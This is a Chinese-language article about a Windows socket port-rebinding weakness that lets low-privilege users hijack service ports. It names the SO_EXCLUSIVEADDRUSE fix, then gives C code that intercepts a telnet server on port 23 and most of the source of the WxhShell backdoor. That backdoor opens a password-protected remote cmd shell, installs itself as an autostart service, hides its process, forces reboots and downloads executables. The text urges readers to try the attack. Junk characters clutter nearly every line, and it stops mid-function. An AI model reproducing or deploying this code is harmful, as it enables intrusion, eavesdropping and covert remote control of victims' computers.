在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qL/4mM0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Z@nWx]iz xX.fN7[ saddr.sin_family = AF_INET;
k1e0kxn "94e-Nx saddr.sin_addr.s_addr = htonl(INADDR_ANY);
UA>UW!I f"\G"2C bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(j@3=-%6 G D(yU:^L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
PHU#$LG bS=aFl# 这意味着什么?意味着可以进行如下的攻击:
=;#+8w=^ B[%FZm $`M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
oKLL~X>!U }1=V`N( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u [5*RTE TcPYDAa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
5V;BimI )kfj+/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
NokAP|<y 2Z;wU] 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_Q_"_*e xE`uFHuS} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2I(b ad |75>8; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=~}\g;K1Q KSe`G;{ #include
P1tc*2Z #include
;.>CDt-E] #include
r%\(5H f #include
ca%s$' d DWORD WINAPI ClientThread(LPVOID lpParam);
#usi1UWB#Q int main()
9|R]Lz3PA {
O~sv^ WORD wVersionRequested;
z UN&L7D DWORD ret;
8,d<&3D WSADATA wsaData;
sOQF_X(.x BOOL val;
YC+}H33 SOCKADDR_IN saddr;
In<L?U?([D SOCKADDR_IN scaddr;
sH(@X<{p int err;
`"`/_al^ SOCKET s;
-T3 z@k SOCKET sc;
=aR'S\< int caddsize;
yE1M+x./ HANDLE mt;
AJ1(q:P DWORD tid;
ye!}hm=w wVersionRequested = MAKEWORD( 2, 2 );
lJ1_Zs ` err = WSAStartup( wVersionRequested, &wsaData );
0/z=G!z\ if ( err != 0 ) {
JDeG@N$ printf("error!WSAStartup failed!\n");
@Cg%7AF return -1;
Z7>pz:, }
AWsy9 saddr.sin_family = AF_INET;
LE#ko2#ke &Z3g$R 9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
U\dq
Mp#Wy 30cZz saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
6vy(@z saddr.sin_port = htons(23);
=pSuyM' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Zt;3HY=y {
B'<k*9=Nv8 printf("error!socket failed!\n");
[\+"<;m$ return -1;
iG*@( }
i8 t% v val = TRUE;
?XOl>IO //SO_REUSEADDR选项就是可以实现端口重绑定的
&ig6\&1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6?GR+;/ {
UolsF-U}' printf("error!setsockopt failed!\n");
u By[x 0 return -1;
=qG%h5]n }
cXP*?N4Cf //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_gDEIoBp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`P/7Mf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|Rk9W 9C9>V] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3Ov? kWFO {
Ne>yFl"u ret=GetLastError();
!Q(x A,p printf("error!bind failed!\n");
$hv o^$ return -1;
Fb8~2N"3 }
KA^r,Iw listen(s,2);
W>[0u3 while(1)
;J<K/YdI {
4I&e_b< 30 caddsize = sizeof(scaddr);
mIk8hA@B_ //接受连接请求
a@+n sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
l}\q }7\) if(sc!=INVALID_SOCKET)
&USKudXmb {
IXQxjqd^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i|M^QKvF if(mt==NULL)
=Rv!c+? {
Q)vf>LwC2S printf("Thread Creat Failed!\n");
)o4B^kq break;
vSyR%
j }
YS$42J_T }
CG!7BP\ CloseHandle(mt);
'8RBR%)y }
VSf<(udGr closesocket(s);
Ky:y1\K1^K WSACleanup();
mQ~0cwo) return 0;
=]Gw9sge@ }
*SP@`)\D DWORD WINAPI ClientThread(LPVOID lpParam)
6d%V=1^F {
Eu;f~ V SOCKET ss = (SOCKET)lpParam;
_d<xxF^q SOCKET sc;
O4Z_v%2M unsigned char buf[4096];
Cf&.hod SOCKADDR_IN saddr;
qGezmkNFm long num;
QY)hMo=|o8 DWORD val;
R# 8.] DWORD ret;
Nj~3FL //如果是隐藏端口应用的话,可以在此处加一些判断
AW[_k% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'+8`3[' saddr.sin_family = AF_INET;
4n}tDHvd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
g$CWGB*%lm saddr.sin_port = htons(23);
R H^!7W* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)7`2FLG {
3fdx&}v/ printf("error!socket failed!\n");
o'#ow(X return -1;
A.[~}ywH }
eW"L") val = 100;
S8_>Lw
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G&7!3u {
qHQWiu%h ret = GetLastError();
Dej_(Dz_S return -1;
0<^!<i(% }
Ad%3 fvn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
= ^NTHc^* {
16pk4f8 ret = GetLastError();
L'A>IBrz return -1;
1\XR6q:2 }
VyF|d?b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>)+-: {
#gQaNc? printf("error!socket connect failed!\n");
h!yI(cY closesocket(sc);
%qI.Qw$ closesocket(ss);
sfo+B$4| return -1;
WciL
zx/ }
)fGIe rS while(1)
39!$x[ {
;5cN
o& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
f[wA]& //如果是嗅探内容的话,可以再此处进行内容分析和记录
|L }1@0i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)0\"8}! num = recv(ss,buf,4096,0);
qcWY8sYf if(num>0)
.5s#JL send(sc,buf,num,0);
gL/D| = else if(num==0)
&N+i3l6` break;
Zb? u'Vm=u num = recv(sc,buf,4096,0);
tjId?}\ if(num>0)
jeu|9{iTVu send(ss,buf,num,0);
O~udlVn<6 else if(num==0)
LtK= nK break;
m ?)k&{I }
@,\J\ rb closesocket(ss);
?D?ldg closesocket(sc);
(H[.\O-` return 0 ;
K5"8zF)* }
&;x*uG kWZ@v+Mk3 ;Yr?"| ==========================================================
1*VArr6*6 2d60o~E 下边附上一个代码,,WXhSHELL
mD"[z}r) gXb
*
zt2 ==========================================================
FdcmA22k* [11D7L%1t #include "stdafx.h"
,qz:( Nr =1SG^rp #include <stdio.h>
L\%zNPLS #include <string.h>
g^mnYg5 #include <windows.h>
bd$``(b`v #include <winsock2.h>
j8cXv #include <winsvc.h>
l'Kx#y$ #include <urlmon.h>
<aRsogu"P x o{y9VS #pragma comment (lib, "Ws2_32.lib")
s~tZN #pragma comment (lib, "urlmon.lib")
s9\N{ar# Hgk@I; #define MAX_USER 100 // 最大客户端连接数
UNOKK_ #define BUF_SOCK 200 // sock buffer
;x|LB>. #define KEY_BUFF 255 // 输入 buffer
&e%eIz x^XP<R{D #define REBOOT 0 // 重启
$E@U-=m #define SHUTDOWN 1 // 关机
h(4&!x
k;~*8i=%,\ #define DEF_PORT 5000 // 监听端口
ObzFh?W pH/_C0e`7 #define REG_LEN 16 // 注册表键长度
8bf~uHAr #define SVC_LEN 80 // NT服务名长度
^U.t5jj :RG=3T[ // 从dll定义API
']__V[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o+%($p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tVr^1Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
\jCN ]A< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
JE=3V^k UV#DN`%n // wxhshell配置信息
;/R \!E
struct WSCFG {
}7+`[g int ws_port; // 监听端口
"IA:,j.#g char ws_passstr[REG_LEN]; // 口令
tm|YUat$]r int ws_autoins; // 安装标记, 1=yes 0=no
Id<O/C char ws_regname[REG_LEN]; // 注册表键名
!;U;5 e=0 char ws_svcname[REG_LEN]; // 服务名
87ptab@ char ws_svcdisp[SVC_LEN]; // 服务显示名
)TtYm3, char ws_svcdesc[SVC_LEN]; // 服务描述信息
FE4P
EBXvu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
g}gOAN3. int ws_downexe; // 下载执行标记, 1=yes 0=no
? \p,s-CR: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
6BY(Y(z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9.^2CM6l QTmMj@R&( };
/$=<RUE qo!6)Z // default Wxhshell configuration
Uip-qWI struct WSCFG wscfg={DEF_PORT,
mFx\[S "xuhuanlingzhe",
CYn56eRK 1,
QnH;+k
ln "Wxhshell",
kVY0
E "Wxhshell",
E(miQ "WxhShell Service",
Cb
i;CF\{ "Wrsky Windows CmdShell Service",
hEk0MY "Please Input Your Password: ",
4sM9~zC5 1,
GbfA-\ "
http://www.wrsky.com/wxhshell.exe",
J_}Rsp ED "Wxhshell.exe"
t+tD };
Prqr, HvJ-P# // 消息定义模块
2"pFAQBw~i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$l/w.z char *msg_ws_prompt="\n\r? for help\n\r#>";
V:h3F7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_BPp=(| char *msg_ws_ext="\n\rExit.";
BRF4p: char *msg_ws_end="\n\rQuit.";
9w}_CCj3 char *msg_ws_boot="\n\rReboot...";
~aL&,0 char *msg_ws_poff="\n\rShutdown...";
wfq}NK; char *msg_ws_down="\n\rSave to ";
P ,*yuF|bk z:W|GDD1 char *msg_ws_err="\n\rErr!";
Nf1&UgX char *msg_ws_ok="\n\rOK!";
<uXQT$@? 3!Ca b/T char ExeFile[MAX_PATH];
0RGqpJxk int nUser = 0;
flS_rY5 HANDLE handles[MAX_USER];
IcUE=J int OsIsNt;
Y=(%t:#_ .,&6 x. SERVICE_STATUS serviceStatus;
VdE$ig@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
TLT6z[ 5O]eD84B // 函数声明
$&KiN82, int Install(void);
i/aj;t int Uninstall(void);
tvR|!N } int DownloadFile(char *sURL, SOCKET wsh);
rPkPQn: int Boot(int flag);
^.u
J]k0 void HideProc(void);
WF` int GetOsVer(void);
2|D<0d#W int Wxhshell(SOCKET wsl);
,.TwM;w= void TalkWithClient(void *cs);
;s!GpO7 + int CmdShell(SOCKET sock);
#/o1D^ int StartFromService(void);
G&@vTcF int StartWxhshell(LPSTR lpCmdLine);
Q|tzA10E
:,pdR>q%(y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ku^0bq}BrH VOID WINAPI NTServiceHandler( DWORD fdwControl );
CQI\/oaO o0#zk // 数据结构和表定义
~NZ}@J{00_ SERVICE_TABLE_ENTRY DispatchTable[] =
'=1@,Skj- {
y7-daek {wscfg.ws_svcname, NTServiceMain},
OJ,Z {NULL, NULL}
TF-a1z };
+{[E Ow Oz4yUR // 自我安装
c'uDK> int Install(void)
R7ExMJw {
]:Sb#=,!&! char svExeFile[MAX_PATH];
g]m}@b6(h HKEY key;
3Nk
) strcpy(svExeFile,ExeFile);
?7Skk ?Suv.!wfLl // 如果是win9x系统,修改注册表设为自启动
E#/vgm=W; if(!OsIsNt) {
(&xIBF_6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tN-B`d1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0s%]%2ON RegCloseKey(key);
&U{"dJ r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C)|#z/" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KJCi4O& RegCloseKey(key);
$##LSTA return 0;
YfJQ]tt1 }
P;[>TCs ]8 }
AN4(]_] }
Na{&aqdz else {
Rkh
^|_<! &C.m*^`^ // 如果是NT以上系统,安装为系统服务
?oulQR6: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M<cm] if (schSCManager!=0)
w_9[y {
%lqrq<Xn SC_HANDLE schService = CreateService
J%lEyU (
U'Fc\M5l/l schSCManager,
&OP =O*B wscfg.ws_svcname,
HVaKy+RU wscfg.ws_svcdisp,
6d%)MEM SERVICE_ALL_ACCESS,
WkSv@Y, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
eN-lz_..7 SERVICE_AUTO_START,
S\W&{+3 SERVICE_ERROR_NORMAL,
t2#zQ[~X! svExeFile,
3?-2~s3gp NULL,
8npjQ;%4> NULL,
5gH'CzU? NULL,
m"tke'a NULL,
</33>Fu) NULL
S<nbNSu6+ );
ah|`),o(k if (schService!=0)
zJT,Hv . {
Qm2(Z8Gh CloseServiceHandle(schService);
<hzuPi@ CloseServiceHandle(schSCManager);
A]AM|2 D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^5~)m6=2 strcat(svExeFile,wscfg.ws_svcname);
9Lqo^+0)\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
D[bPm:\0M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?PDrj/: * RegCloseKey(key);
!)h?2#V8; return 0;
=qF DrDt }
Wm>AR? b }
*[0)]|r CloseServiceHandle(schSCManager);
hnnPi }
Y"'k $jS- }
VDC"tSQ {6brVN.V return 1;
}I
^e:,{ }
H`Ld,E2ex& r:9H>4m // 自我卸载
]-tAgNzl% int Uninstall(void)
Cswa5l`af {
l527>7 eT HKEY key;
iYl$25k/1 @d_;p<\l if(!OsIsNt) {
qwDoYyyu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
62{[)jt{ RegDeleteValue(key,wscfg.ws_regname);
?%RR+(2m RegCloseKey(key);
~.f[K{h8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q2K)Nl >_ RegDeleteValue(key,wscfg.ws_regname);
31n|ScXv RegCloseKey(key);
2-.%WhE/ return 0;
}*3#*y " }
wVY;)1? }
"U%jG`q }
7T@"2WYat else {
~n`G>Oe3 \|q.M0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
2Ik@L, if (schSCManager!=0)
X^ZUm {
ffE&=eh) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
uq_h8JH$ if (schService!=0)
6v9A7g;4. {
/dt'iai~l if(DeleteService(schService)!=0) {
8I|2yvhP CloseServiceHandle(schService);
|q*s)8 CloseServiceHandle(schSCManager);
)uIHonXU return 0;
8et.A }
TLiA>`r= CloseServiceHandle(schService);
9G=ZB^ }
ky98Bz% CloseServiceHandle(schSCManager);
NP5;&}uv*! }
>" z&KZKI }
\J?5Kl[*c 4E.K6=k|=a return 1;
Il,^/qvIY }
C*fSPdg? b6~MRfx`7 // 从指定url下载文件
{glRXR int DownloadFile(char *sURL, SOCKET wsh)
&+>)H$5 {
6
&)fZt HRESULT hr;
xtP=/B/ char seps[]= "/";
5Pu
F]5 char *token;
)XAD#GYM char *file;
t(F] -[ char myURL[MAX_PATH];
uSi/| char myFILE[MAX_PATH];
*,=WaODO % yNu%D$6u7 strcpy(myURL,sURL);
1WMwTBHy+ token=strtok(myURL,seps);
s(Tgv while(token!=NULL)
ua!g}m~ {
h2C1'+Q{9 file=token;
0kB!EJ<OdG token=strtok(NULL,seps);
,-[dr|. }
"3Z<V8xB Q&Ox\*sMK GetCurrentDirectory(MAX_PATH,myFILE);
*|DIG{ strcat(myFILE, "\\");
:g[G&Ds8 strcat(myFILE, file);
zOnQ656 send(wsh,myFILE,strlen(myFILE),0);
Ug|o($CY send(wsh,"...",3,0);
C5jR|| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_Ak?i\ if(hr==S_OK)
n\Y|0\ B return 0;
MJ:>ZRXCE else
:,^pL At return 1;
q$=EUB"C >@o}l:* }
(W l5F
,lly=OhKb // 系统电源模块
%wp#vO-$ int Boot(int flag)
#815h,nP+ {
Rtl;*ZAS HANDLE hToken;
%Pb 5PIk4 TOKEN_PRIVILEGES tkp;
_,M:"3;Z #j{!&4M if(OsIsNt) {
L('G1J} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"wPFQXU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
a+CHrnU\; tkp.PrivilegeCount = 1;
)2P4EEs[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
O}!L;? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=*YK6 if(flag==REBOOT) {
s2@}01QPo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_~`\TS8 return 0;
]<;m;/H }
Svmyg] else {
S)0bu(a`Z, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
t;@VsQ8 return 0;
Pb|'f( }
LyB$~wZx~@ }
EMe6Z!k else {
Gd~Xvw,u if(flag==REBOOT) {
U$`)|/8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
nJ|8#U7 return 0;
.wD>0Ig }
<~}t;ji else {
qG/a5i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
t/bDDV" return 0;
VT\o=3_ }
Lj$yGd K< }
@awaN X"W%(x`w return 1;
PomX@N}1 }
6?0^U 9 22|f!la8n // win9x进程隐藏模块
rSD!u0c[ void HideProc(void)
|Mp_qg?g {
j:0VtJo~ 9Osjh G HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%T UljX K} if ( hKernel != NULL )
! G%LYHx {
8Us5Oi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
k})Ag7c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'A,&9E{%1 FreeLibrary(hKernel);
R.R(|!w> }
fz
W%(.tc\ 2FO.!m return;
_1c'~; }
u!%]?MSc I'o9.B8%# // 获取操作系统版本
X9nt;A2TU+ int GetOsVer(void)
<GShm~XD2 {
j8@YoD5o OSVERSIONINFO winfo;
L;xc,"\3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yg "u^*r& GetVersionEx(&winfo);
e:V(kzAY; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^\cB&<h return 1;
r +;C}[E else
jz|zq\Eek return 0;
\qAMs^1- }
y'Xg" +7o3TA]- // 客户端句柄模块
w?.0r6j int Wxhshell(SOCKET wsl)
8^zI {
+|Q8P?YD_ SOCKET wsh;
/40Z-'Bl=( struct sockaddr_in client;
W;,.OoDc> DWORD myID;
pN&Dpz^ g!7/iKj: while(nUser<MAX_USER)
DT(A~U<y {
v|jBRKU99 int nSize=sizeof(client);
PDX^MYoN wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
O!sZMGF$p if(wsh==INVALID_SOCKET) return 1;
]?^m;~MQZ (]>c8;o#b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6Pl$DSu if(handles[nUser]==0)
'M+iVF6 closesocket(wsh);
!1dCk/D&)8 else
zb~!>
QIz{ nUser++;
d> Y9g }
au574tj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:n>m">4 XN]kNJX return 0;
:SSe0ZZ_6b }
J']1^"_' &oYX093di // 关闭 socket
/g'F +{v void CloseIt(SOCKET wsh)
ro6peUL*2` {
uKh),@JV closesocket(wsh);
]BCH9%zLj nUser--;
gOO\` # ExitThread(0);
.0#?u1gXsX }
B4GgR,P@S G[6V=G // 客户端请求句柄
]m(Uv8/6 void TalkWithClient(void *cs)
(ui"vLk8PP {
Z KnEg2a eUVE8pZl SOCKET wsh=(SOCKET)cs;
F)lDK. char pwd[SVC_LEN];
rjQV;kX> char cmd[KEY_BUFF];
kwZ8q-0 char chr[1];
|>GtClL int i,j;
3Zdkf]Gh >va#PFHA while (nUser < MAX_USER) {
lW?}jzuo &iL"=\# if(wscfg.ws_passstr) {
3yDa5q{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[1dlV/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RMmDcvM"k //ZeroMemory(pwd,KEY_BUFF);
4'?kyTO~ i=0;
Fc7mAV= while(i<SVC_LEN) {
@xB"9s kfg9l?R$I< // 设置超时
D>~z{H%\ fd_set FdRead;
4&r^mGs, struct timeval TimeOut;
o{?s\)aBa FD_ZERO(&FdRead);
DK&J"0jz, FD_SET(wsh,&FdRead);
uOs
8|pj, TimeOut.tv_sec=8;
%Ox*?l _ TimeOut.tv_usec=0;
?A2#V(4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5X nA.?F^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{G/4#r
2> RXb+"/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%IW=[D6Tg pwd
=chr[0]; d"Hh9O}6
if(chr[0]==0xd || chr[0]==0xa) { U8?QyG
2A
pwd=0; B@A3T8'
break; TNUzNA
} G TNN4
i++; nv*q
N\i'
} YT}m
8Y
'F?T4
// 如果是非法用户,关闭 socket t@>Uc`%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |OUr=b
} &$qqF&
QK%{\qu
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 41^+T<+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7<mY{!2iF?
h:<pEL
while(1) { !BP/#
"D2`=D!+
ZeroMemory(cmd,KEY_BUFF); ,*Tf9=z
{2}O\A
// 自动支持客户端 telnet标准
7pMrYIP
j=0; V?t^ J7{'
while(j<KEY_BUFF) { YbND2i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gb|C592R5C
cmd[j]=chr[0]; w{UVo1r:
if(chr[0]==0xa || chr[0]==0xd) { C!]hu)E
cmd[j]=0; 35?et-=w
break; sikG}p0mx<
} =m:xf&r#
j++; B5~S&HQ?B6
} ^9%G7J:vGO
B4r4PSB>!
// 下载文件 .v9 #|d d+
if(strstr(cmd,"http://")) { >93vMk~hU
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /w^}(IJ4
if(DownloadFile(cmd,wsh)) p2GkI/6)uu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7MZBU~,r
else [DC8X P5<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?V4?r2$c
} (q59cA w~X
else { f6j;Y<}' g
93$'PwWgiF
switch(cmd[0]) { 1\=)b< y
C,P>7
// 帮助 Pb]: i+c)
case '?': { %# ?)+8"l
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?]]>WP
break; Fc M
} IC{\iwO/~c
// 安装 U}~SY
case 'i': { z8G1[ElY
if(Install()) NGOc:>}k>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <kN4@bd;
else / Of*II&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J70#pF
break; (,
/`*GC
} CH[U.LJQ-O
// 卸载 =J&vr
case 'r': { p#wQW[6
if(Uninstall()) SMY,bU'a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !}<d6&!py
else S}f3b N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rG|lRT3-K
break; 3}@3pVS
} c>#T\AEkF
// 显示 wxhshell 所在路径 jNhiY
case 'p': { h.d-a/
char svExeFile[MAX_PATH]; y3{'s>O6
strcpy(svExeFile,"\n\r"); +F.{:
strcat(svExeFile,ExeFile); VNBf2Va
send(wsh,svExeFile,strlen(svExeFile),0); %nk]zf..
break; 1G$fU
zS
} ``$Dgj[
// 重启 E #q
gt9
case 'b': { 8[\F*H
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yj3j?.JJk
if(Boot(REBOOT)) /'k4NXnW3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [-5%[ty9X
else { Sio^FOTD
closesocket(wsh); 0tyoH3o/d
ExitThread(0); z SDRZ!
} v._Q XcE
break; kH/u]+_
} W/DSj :
// 关机 y.P Wh<dI
case 'd': { }K':tX?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q#w mS&$f
if(Boot(SHUTDOWN)) &YC Z
L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h_#x@p
else { }%Mj`Bh
closesocket(wsh);
mo+zq~,M
ExitThread(0); v|fA)Ww
} ;,2i1m0"
break; v;m`d{(i2
} o81RD#>E)
// 获取shell fy]z<SPhVJ
case 's': { Bn:"qN~
CmdShell(wsh); J<hqF4z
closesocket(wsh); :/UO3 c(
ExitThread(0); ko<u0SjF)u
break; }MQNzaXY^
} ere h!
// 退出 a,mG5bQ!
case 'x': {
r&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .TZ0FxW
CloseIt(wsh); qaJ$0,]H+
break; O&BNhuW2
} " kp+1sG8
// 离开 }
DQ<YF+
case 'q': { ?+Gc.lU
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1<|\df.
closesocket(wsh); lw+Y_;
WSACleanup(); ASGV3r(
exit(1); {zzc/!|
break; h,-2+}
} Qp>'V<%m-
} 1i=lJmr
} 4`E[WE:Q
t&|M@Ouet
// 提示信息 ~-2%^ovB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cPaz-
} 9dS <^E(ZF
} cdd6*+E
6sceymq
return; p+x}$&<|
} 6=N!()s
RJ}%pA4I
// shell模块句柄 yM,.{m@F<
int CmdShell(SOCKET sock) '`s\_Q)hG_
{ ul(pp+%S
STARTUPINFO si; 7`xeuK
ZeroMemory(&si,sizeof(si)); Z4ekBdmCL
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (F=/r]Q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A-"2 sp*t
PROCESS_INFORMATION ProcessInfo; VT ikLuH
char cmdline[]="cmd"; ;]gj:6M
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dh+<|6mx
return 0; z`]sWi F0
} QC\r|RXW
#su R[K*S
// 自身启动模式 Z$*m=]2
int StartFromService(void) ,8.Fd|#L
{ 813t=A
typedef struct Rtywi}VV2
{ r0^ *|+
DWORD ExitStatus; $Gs9"~z?;
DWORD PebBaseAddress; #(pY~\
